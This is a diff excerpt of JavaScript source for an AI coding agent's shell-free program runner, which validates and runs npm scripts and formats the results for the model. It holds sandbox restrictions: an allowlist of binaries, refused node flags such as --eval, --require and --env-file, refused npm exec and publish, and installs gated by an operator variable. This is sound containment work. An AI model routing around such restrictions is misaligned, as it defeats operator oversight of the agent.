|
+
*/
|
|
933
|
+
argv: planned.argv,
|
|
934
|
+
spawnArgv: [inv.file, ...inv.args],
|
|
935
|
+
exitCode: run.exitCode,
|
|
936
|
+
signal: run.signal,
|
|
937
|
+
timedOut: run.timedOut,
|
|
938
|
+
stdout: run.stdout,
|
|
939
|
+
stderr: run.stderr,
|
|
940
|
+
truncated: run.truncated,
|
|
941
|
+
durationMs: run.durationMs,
|
|
942
|
+
// `ok` means it RAN. Whether it passed is a separate fact, and conflating
|
|
943
|
+
// the two is how a loop reports success on a failing test.
|
|
944
|
+
passed: run.exitCode === 0 && !run.timedOut,
|
|
945
|
+
};
|
|
946
|
+
}
|
|
947
|
+
|
|
948
|
+
/** `npm` never actually gets spawned — see runPackageScript for why. EXCEPT for
|
|
949
|
+
* an install, which is the one npm subcommand npm itself has to perform. */
|
|
950
|
+
async function runNpm({ root, args, timeoutMs, spawnImpl, env = process.env }) {
|
|
951
|
+
const sub = args[0];
|
|
952
|
+
if (INSTALL_SUBCOMMANDS.has(sub)) return runNpmInstall({ root, args, timeoutMs, spawnImpl, env });
|
|
953
|
+
if (REFUSED_NPM_SUBCOMMANDS.has(sub)) {
|
|
954
|
+
return { ok: false, error: `npm ${sub} is refused — this runner never installs or publishes. Only "test", "run <script>" and "run <script> -- <args…>" are available.` };
|
|
955
|
+
}
|
|
956
|
+
if (sub === 'test' || sub === 't') {
|
|
957
|
+
if (args.length !== 1) {
|
|
958
|
+
return { ok: false, error: 'npm test takes no extra arguments. To pass arguments to a script use args: ["run", "<script>", "--", …].' };
|
|
959
|
+
}
|
|
960
|
+
return runPackageScript({ root, script: 'test', timeoutMs, spawnImpl });
|
|
961
|
+
}
|
|
962
|
+
if (sub === 'run' || sub === 'run-script') {
|
|
963
|
+
const script = args[1];
|
|
964
|
+
if (typeof script !== 'string' || !/^[A-Za-z0-9][A-Za-z0-9:._-]*$/.test(script)) {
|
|
965
|
+
return { ok: false, error: `"${script ?? '(nothing)'}" is not a valid npm script name — args must be ["run", "<script>"] or ["run", "<script>", "--", …]` };
|
|
966
|
+
}
|
|
967
|
+
let extra = [];
|
|
968
|
+
if (args.length > 2) {
|
|
969
|
+
if (args[2] !== '--') {
|
|
970
|
+
return { ok: false, error: 'to pass arguments to a script, separate them with "--": args: ["run", "build", "--", "--watchless"]' };
|
|
971
|
+
}
|
|
972
|
+
extra = args.slice(3);
|
|
973
|
+
}
|
|
974
|
+
return runPackageScript({ root, script, extraArgs: extra, timeoutMs, spawnImpl });
|
|
975
|
+
}
|
|
976
|
+
return {
|
|
977
|
+
ok: false,
|
|
978
|
+
error: `npm ${sub ?? '(nothing)'} is refused — only "test", "run <script>" and "run <script> -- <args…>" are available here. This runner never installs or publishes.`,
|
|
979
|
+
};
|
|
980
|
+
}
|
|
981
|
+
|
|
982
|
+
/**
|
|
983
|
+
* ── ⭐ RUN AN npm SCRIPT WITHOUT npm, AND WITHOUT A SHELL ───────────────────
|
|
984
|
+
*
|
|
985
|
+
* npm runs a script body by handing it to a shell. That is exactly the thing
|
|
986
|
+
* this package refuses to do, and on Windows it is also broken for our purposes:
|
|
987
|
+
* `cmd.exe` does not expand globs at all, so `node --test test/*.test.mjs` under
|
|
988
|
+
* npm on Windows runs ZERO tests and exits 0.
|
|
989
|
+
*
|
|
990
|
+
* ⭐ So the body is validated, its globs are expanded HERE, and its program is
|
|
991
|
+
* spawned directly with a real argv. Which means the most common test
|
|
992
|
+
* convention in Node finally works, and a suite that matches nothing fails
|
|
993
|
+
* loudly instead of passing vacuously.
|
|
994
|
+
*
|
|
995
|
+
* ⚠️ `pre<script>` and `post<script>` are run too, in npm's order, stopping at
|
|
996
|
+
* the first failure. They are not skipped, because a `pretest` that builds the
|
|
997
|
+
* thing under test is load-bearing, and silently omitting it would make a green
|
|
998
|
+
* run mean something different from what the user believes it means.
|
|
999
|
+
*
|
|
1000
|
+
* @param {{ root: string, script: unknown, extraArgs?: string[], timeoutMs?: number, spawnImpl?: Function }} input
|
|
1001
|
+
*/
|
|
1002
|
+
export async function runPackageScript({ root, script, extraArgs = [], timeoutMs, spawnImpl } = {}) {
|
|
1003
|
+
const rr = realRootOf(root);
|
|
1004
|
+
if (!rr.ok) return { ok: false, error: rr.error };
|
|
1005
|
+
const cwd = rr.root;
|
|
1006
|
+
|
|
1007
|
+
if (typeof script !== 'string' || !script) return { ok: false, error: 'script is required — the name of an npm script, e.g. "test"' };
|
|
1008
|
+
const extra = checkArgList(extraArgs);
|
|
1009
|
+
if (!extra.ok) return extra;
|
|
1010
|
+
|
|
1011
|
+
const read = readPackageJson(cwd);
|
|
1012
|
+
if (!read.ok) return read;
|
|
1013
|
+
const scripts = read.pkg && typeof read.pkg === 'object' ? read.pkg.scripts : null;
|
|
1014
|
+
if (!scripts || typeof scripts !== 'object') {
|
|
1015
|
+
return { ok: false, error: 'package.json has no "scripts" section, so there is nothing to run. Run the file directly: program "node", args ["path/to/file.mjs"].' };
|
|
1016
|
+
}
|
|
1017
|
+
if (typeof scripts[script] !== 'string') {
|
|
1018
|
+
const available = Object.keys(scripts).slice(0, 12);
|
|
1019
|
+
return { ok: false, error: `package.json has no "${script}" script${available.length ? ` (it has: ${available.join(', ')})` : ''}` };
|
|
1020
|
+
}
|
|
1021
|
+
|
|
1022
|
+
const plan = [];
|
|
1023
|
+
for (const name of [`pre${script}`, script, `post${script}`]) {
|
|
1024
|
+
if (typeof scripts[name] !== 'string') continue;
|
|
1025
|
+
const step = planScriptStep(cwd, name, scripts[name], name === script ? extra.args : []);
|
|
1026
|
+
// ⚠️ EVERY step is validated BEFORE ANY step runs. Validating lazily would
|
|
1027
|
+
// let `pretest` execute and then refuse `posttest`, leaving the workspace
|
|
1028
|
+
// half-way through an operation nobody chose.
|
|
1029
|
+
if (!step.ok) return step;
|
|
1030
|
+
plan.push(step);
|
|
1031
|
+
}
|
|
1032
|
+
|
|
1033
|
+
const bounded = boundTimeout(timeoutMs);
|
|
1034
|
+
const steps = [];
|
|
1035
|
+
let chosen = null;
|
|
1036
|
+
let total = 0;
|
|
1037
|
+
for (const step of plan) {
|
|
1038
|
+
const run = await spawnPlanned({ file: step.file, spawnArgs: step.spawnArgs, cwd, timeoutMs: bounded, spawnImpl });
|
|
1039
|
+
if (!run.ok) return run;
|
|
1040
|
+
total += run.durationMs;
|
|
1041
|
+
steps.push({ name: step.name, argv: step.argv, exitCode: run.exitCode, timedOut: run.timedOut, durationMs: run.durationMs });
|
|
1042
|
+
// The result the model reads is the FIRST FAILURE if there is one, because
|
|
1043
|
+
// that is the output that explains the exit code; otherwise the named
|
|
1044
|
+
// script's own, because pre/post output is scaffolding.
|
|
1045
|
+
if (chosen === null && (run.exitCode !== 0 || run.timedOut)) chosen = { step, run };
|
|
1046
|
+
if (run.exitCode !== 0 || run.timedOut) break;
|
|
1047
|
+
if (step.name === script) chosen = { step, run };
|
|
1048
|
+
}
|
|
1049
|
+
if (!chosen) return { ok: false, error: `the "${script}" script produced no runnable step — this is a bug in acuvo-code` };
|
|
1050
|
+
|
|
1051
|
+
const { step, run } = chosen;
|
|
1052
|
+
return {
|
|
1053
|
+
ok: true,
|
|
1054
|
+
program: 'npm',
|
|
1055
|
+
script,
|
|
1056
|
+
argv: extra.args.length ? ['npm', 'run', script, '--', ...extra.args] : ['npm', 'run', script],
|
|
1057
|
+
/** ⭐ What the script BODY actually became, which is the line that proves a
|
|
1058
|
+
* glob expanded to real files rather than being handed over literally. */
|
|
1059
|
+
ranArgv: step.argv,
|
|
1060
|
+
spawnArgv: [step.file, ...step.spawnArgs],
|
|
1061
|
+
steps,
|
|
1062
|
+
exitCode: run.exitCode,
|
|
1063
|
+
signal: run.signal,
|
|
1064
|
+
timedOut: run.timedOut,
|
|
1065
|
+
stdout: run.stdout,
|
|
1066
|
+
stderr: run.stderr,
|
|
1067
|
+
truncated: run.truncated,
|
|
1068
|
+
durationMs: total,
|
|
1069
|
+
passed: run.exitCode === 0 && !run.timedOut,
|
|
1070
|
+
};
|
|
1071
|
+
}
|
|
1072
|
+
|
|
1073
|
+
/**
|
|
1074
|
+
* Render for the MODEL. Leads with the argv, because the argv is the fact the
|
|
1075
|
+
* old string runner could never show: it is how the model confirms its quoted
|
|
1076
|
+
* argument survived as one token.
|
|
1077
|
+
*/
|
|
1078
|
+
export function formatProgramRunForModel(result) {
|
|
1079
|
+
if (!result.ok) return `run_program refused: ${result.error}`;
|
|
1080
|
+
const lines = [`$ ${JSON.stringify(result.argv)}`];
|
|
1081
|
+
if (result.ranArgv) lines.push(` script body ran as: ${JSON.stringify(result.ranArgv)}`);
|
|
1082
|
+
if (Array.isArray(result.installed)) {
|
|
1083
|
+
/** ⭐ Same receipt `run_command` prints, and for the same reason: without the
|
|
1084
|
+
* `--ignore-scripts` line, a package whose postinstall fetches its binary
|
|
1085
|
+
* installs "successfully" and then fails at require time with an error that
|
|
1086
|
+
* looks like a bug in the agent's own code. */
|
|
1087
|
+
for (const item of result.installed) {
|
|
1088
|
+
lines.push(item.range
|
|
1089
|
+
? ` recorded in package.json: "${item.name}": "${item.range}" (${item.section})`
|
|
1090
|
+
: ` ⚠️ "${item.name}" is NOT in package.json after this install — nothing was recorded`);
|
|
1091
|
+
}
|
|
1092
|
+
lines.push(' (--ignore-scripts was forced: no lifecycle script from any package ran. A package that builds a native addon or downloads a binary at install time will need a human to install it.)');
|
|
1093
|
+
}
|
|
1094
|
+
if (result.timedOut) {
|
|
1095
|
+
lines.push(`TIMED OUT after ${Math.round(result.durationMs / 1000)}s and was killed. It produced no exit code.`);
|
|
1096
|
+
} else {
|
|
1097
|
+
lines.push(`exit code: ${result.exitCode} (${(result.durationMs / 1000).toFixed(1)}s)${result.passed ? ' — PASSED' : ' — FAILED'}`);
|
|
1098
|
+
}
|
|
1099
|
+
if (result.stdout?.trim()) lines.push('--- stdout ---', result.stdout.trimEnd());
|
|
1100
|
+
if (result.stderr?.trim()) lines.push('--- stderr ---', result.stderr.trimEnd());
|
|
1101
|
+
if (!result.stdout?.trim() && !result.stderr?.trim()) lines.push('(no output)');
|
|
1102
|
+
return lines.join('\n');
|
|
1103
|
+
}
|
|
1104
|
+
|
|
1105
|
+
export function spawnArgvToolSchemas() {
|
|
1106
|
+
return [
|
|
1107
|
+
{
|
|
1108
|
+
type: 'function',
|
|
1109
|
+
function: {
|
|
1110
|
+
name: 'run_program',
|
|
1111
|
+
description: [
|
|
1112
|
+
'Run a program with a REAL argument array — this is the tool to use whenever an argument',
|
|
1113
|
+
'contains a space, a quote, or a leading dash. There is no shell and no string parsing:',
|
|
1114
|
+
'each item of `args` becomes exactly one argv slot, so "buy milk" stays one argument and',
|
|
1115
|
+
'--all, --pri, -- and > are passed to your program as plain data.',
|
|
1116
|
+
'node: flags BEFORE the script path are checked (--eval, --require, --import, --env-file,',
|
|
1117
|
+
'--inspect and --watch are refused); everything AFTER the script path is passed through',
|
|
1118
|
+
'untouched. npm: test, run <script>, and run <script> -- <args…>; exec and publish are always',
|
|
1119
|
+
`refused. npm install/ci works ONLY if the operator set ${ALLOW_INSTALL_ENV}=1 — when it is off the`,
|
|
1120
|
+
'refusal says so, and telling the user that variable is the way to unblock a missing dependency.',
|
|
1121
|
+
'When it is on: registry package names only (no URL, git, file: or npm: alias), at most four per',
|
|
1122
|
+
'call, --ignore-scripts is forced (so a package that builds a native addon will need a human),',
|
|
1123
|
+
'and the new package.json line is reported back to you.',
|
|
1124
|
+
'npx: only vitest and tsc, already installed. A glob (* or ?) in a node test',
|
|
1125
|
+
'target or an npm script body is expanded against the workspace, and a glob matching ZERO',
|
|
1126
|
+
'files is an error rather than a run that exits 0 having tested nothing.',
|
|
1127
|
+
].join(' '),
|
|
1128
|
+
parameters: {
|
|
1129
|
+
type: 'object',
|
|
1130
|
+
properties: {
|
|
1131
|
+
program: {
|
|
1132
|
+
type: 'string',
|
|
1133
|
+
enum: ALLOWED_BINARIES,
|
|
1134
|
+
description: 'One of node, npm, npx, tsc. Nothing else is reachable.',
|
|
1135
|
+
},
|
|
1136
|
+
args: {
|
|
1137
|
+
type: 'array',
|
|
1138
|
+
items: { type: 'string' },
|
|
1139
|
+
description: 'One argument per array item, e.g. ["bin/todo.js", "add", "buy milk"] or ["--test", "test/*.test.mjs"] or ["run", "build", "--", "--out", "dist"]. Never put two arguments in one string.',
|
|
1140
|
+
},
|
|
1141
|
+
timeoutMs: {
|
|
1142
|
+
type: 'number',
|
|
1143
|
+
description: `Milliseconds before the child is killed. Default ${DEFAULT_COMMAND_TIMEOUT_MS}, max ${MAX_COMMAND_TIMEOUT_MS}.`,
|
|
1144
|
+
},
|
|
1145
|
+
},
|
|
1146
|
+
required: ['program', 'args'],
|
|
1147
|
+
},
|
|
1148
|
+
},
|
|
1149
|
+
},
|
|
1150
|
+
];
|
|
1151
|
+
}
|